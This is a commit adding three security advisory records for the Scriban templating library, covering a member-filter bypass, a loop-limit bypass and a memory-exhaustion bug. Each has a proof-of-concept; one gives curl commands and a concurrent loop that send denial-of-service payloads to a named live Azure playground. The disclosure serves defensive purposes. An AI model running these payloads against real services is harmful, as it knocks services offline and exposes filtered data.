Skip to content

Commit 719cff0

Browse files
1 parent 62d6a03 commit 719cff0

File tree

3 files changed

+165
-0
lines changed

3 files changed

+165
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5wr9-m6jw-xx44",
4+
"modified": "2026-03-24T22:11:38Z",
5+
"published": "2026-03-24T22:11:38Z",
6+
"aliases": [],
7+
"summary": "Scriban: Sandbox escape due to TypedObjectAccessorcache bypassing MemberFilter after TemplateContext reuse",
8+
"details": "## Summary\n\n`TemplateContext` caches type accessors by `Type` only, but those accessors are built using the current `MemberFilter` and `MemberRenamer`. When a `TemplateContext` is reused and the filter is tightened for a later render, Scriban still reuses the old accessor and continues exposing members that should now be hidden.\n\n## Details\n\nThe relevant code path is:\n\n- `TemplateContext.GetMemberAccessor()` caches accessors in `_memberAccessors` by `Type` in `src/Scriban/TemplateContext.cs` lines 850–863.\n- For plain .NET objects, `GetMemberAccessorImpl()` creates a new `TypedObjectAccessor(type, _keyComparer, MemberFilter, MemberRenamer)` in `src/Scriban/TemplateContext.cs` lines 909–939.\n- `TypedObjectAccessor` stores the current filter and precomputes the exposed member set in its constructor and `PrepareMembers()` in `src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs` lines 33–40 and 119–179.\n- Member access later goes through `ScriptMemberExpression.GetValue()` in `src/Scriban/Syntax/Expressions/ScriptMemberExpression.cs` lines 67–95, which uses the cached accessor.\n- `TemplateContext.Reset()` does **not** clear `_memberAccessors` in `src/Scriban/TemplateContext.cs` lines 877–902.\n\nAs a result, once a permissive accessor has been created for a given type, changing `TemplateContext.MemberFilter` later does not take effect for that type on the same reused context.\n\nThis is especially relevant because the Scriban docs explicitly recommend `TemplateContext.MemberFilter` for indirect .NET object exposure.\n\n---\n\n## Proof of Concept\n\n### Setup\n\n```bash\nmkdir scriban-poc2\ncd scriban-poc2\ndotnet new console --framework net8.0\ndotnet add package Scriban --version 6.6.0\n```\n\n### `Program.cs`\n\n```csharp\nusing System.Reflection;\nusing Scriban;\nusing Scriban.Runtime;\n\nvar template = Template.Parse(\"{{ model.secret }}\");\n\nvar context = new TemplateContext\n{\n EnableRelaxedMemberAccess = false\n};\n\nvar globals = new ScriptObject();\nglobals[\"model\"] = new SensitiveModel();\ncontext.PushGlobal(globals);\n\ncontext.MemberFilter = _ => true;\nConsole.WriteLine(\"first=\" + template.Render(context));\n\ncontext.Reset();\n\nvar globals2 = new ScriptObject();\nglobals2[\"model\"] = new SensitiveModel();\ncontext.PushGlobal(globals2);\n\ncontext.MemberFilter = member => member.Name == nameof(SensitiveModel.Public);\n\nConsole.WriteLine(\"second=\" + template.Render(context));\n\nsealed class SensitiveModel\n{\n public string Public => \"ok\";\n public string Secret => \"leaked\";\n}\n```\n\n### Run\n\n```bash\ndotnet run\n```\n\n### Actual Output\n\n```\nfirst=leaked\nsecond=leaked\n```\n\n### Expected Behavior\n\nThe second render should fail or stop exposing `Secret`, because the filter only allows `Public` and `EnableRelaxedMemberAccess` is disabled.\n\nThis reproduces a direct filter bypass caused by the stale cached accessor.\n\n---\n\n## Impact\n\nThis is a protection-mechanism bypass. Applications that use `TemplateContext.MemberFilter` as part of their sandbox or object-exposure policy can unintentionally expose hidden members across requests when they reuse a `TemplateContext`.\n\nThe impact includes:\n\n- Unauthorized read access to filtered properties or fields\n- Unauthorized writes if the filtered member also has a setter\n- Policy bypass across requests, users, or tenants when contexts are pooled",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "NuGet",
19+
"name": "scriban"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "7.0.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-5wr9-m6jw-xx44"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/scriban/scriban"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-693"
49+
],
50+
"severity": "CRITICAL",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-03-24T22:11:38Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c875-h985-hvrc",
4+
"modified": "2026-03-24T22:13:08Z",
5+
"published": "2026-03-24T22:13:08Z",
6+
"aliases": [],
7+
"summary": "Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service",
8+
"details": "## Summary\n\nScriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value.\n\n## Details\n\nThe relevant code path is:\n\n- `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46.\n- `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration.\n- `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables.\n- `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748.\n- `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`.\n\nThis means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`.\n\nThere is also a related memory-amplification path in `string * int`:\n\n- `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334.\n\n---\n\n## Proof of Concept\n\n### Setup\n\n```bash\nmkdir scriban-poc3\ncd scriban-poc3\ndotnet new console --framework net8.0\ndotnet add package Scriban --version 6.6.0\n```\n\n### `Program.cs`\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ 1..1000000 | array.size }}\");\n\nvar context = new TemplateContext\n{\n LoopLimit = 1\n};\n\nConsole.WriteLine(template.Render(context));\n```\n\n### Run\n\n```bash\ndotnet run\n```\n\n### Actual Output\n\n```\n1000000\n```\n\n### Expected Behavior\n\nA safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work.\n\n### Optional Stronger Variant (Memory Amplification)\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ 'A' * 200000000 }}\");\nvar context = new TemplateContext\n{\n LoopLimit = 1\n};\n\ntemplate.Render(context);\n```\n\nThis variant demonstrates that `LoopLimit` also does not constrain large internal allocation work.\n\n---\n\n## Impact\n\nThis is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.\n\nThe issue impacts:\n\n- Template-as-a-service systems\n- CMS or email rendering systems that accept user templates\n- Any multi-tenant use of Scriban with untrusted template content",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "NuGet",
19+
"name": "scriban"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "7.0.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-c875-h985-hvrc"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/scriban/scriban"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-400"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-03-24T22:13:08Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v66j-x4hw-fv9g",
4+
"modified": "2026-03-24T22:13:37Z",
5+
"published": "2026-03-24T22:13:37Z",
6+
"aliases": [],
7+
"summary": "Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service",
8+
"details": "## Summary\n\nThe built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`.\n\n## Details\n\n`StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs:1181-1183\npublic static string PadLeft(string text, int width)\n{\n return (text ?? string.Empty).PadLeft(width);\n}\n\n// src/Scriban/Functions/StringFunctions.cs:1200-1202\npublic static string PadRight(string text, int width)\n{\n return (text ?? string.Empty).PadRight(width);\n}\n```\n\nThe `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.\n\nThe Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with:\n- No authentication\n- Template size limit of 1KB (line 71) — the payload fits in 39 bytes\n- A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect.\n- Rate limiting of 30 requests/minute (line 25)\n\n## PoC\n\nSingle request to crash or degrade the AppService:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}'\n```\n\nThis 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).\n\n**Expected result:** The service returns an error or truncated output safely.\n\n**Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process.\n\nSustained attack with rate limiting:\n\n```bash\n# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure\nfor i in $(seq 1 30); do\n curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}' &\ndone\nwait\n```\n\nThe `string.pad_right` variant works identically:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_right 500000000 }}\"}'\n```\n\n## Impact\n\n- **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`.\n- An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request.\n- With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.\n- The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation.\n\n## Recommended Fix\n\nAdd width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs\n\n// Option 1: Fixed reasonable maximum (simplest fix)\npublic static string PadLeft(string text, int width)\n{\n if (width < 0) width = 0;\n if (width > 1_048_576) width = 1_048_576; // 1MB cap\n return (text ?? string.Empty).PadLeft(width);\n}\n\npublic static string PadRight(string text, int width)\n{\n if (width < 0) width = 0;\n if (width > 1_048_576) width = 1_048_576; // 1MB cap\n return (text ?? string.Empty).PadRight(width);\n}\n```\n\nAlternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "NuGet",
19+
"name": "Scriban"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "7.0.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-v66j-x4hw-fv9g"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/scriban/scriban"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-770"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-03-24T22:13:37Z",
53+
"nvd_published_at": null
54+
}
55+
}

0 commit comments

Comments
 (0)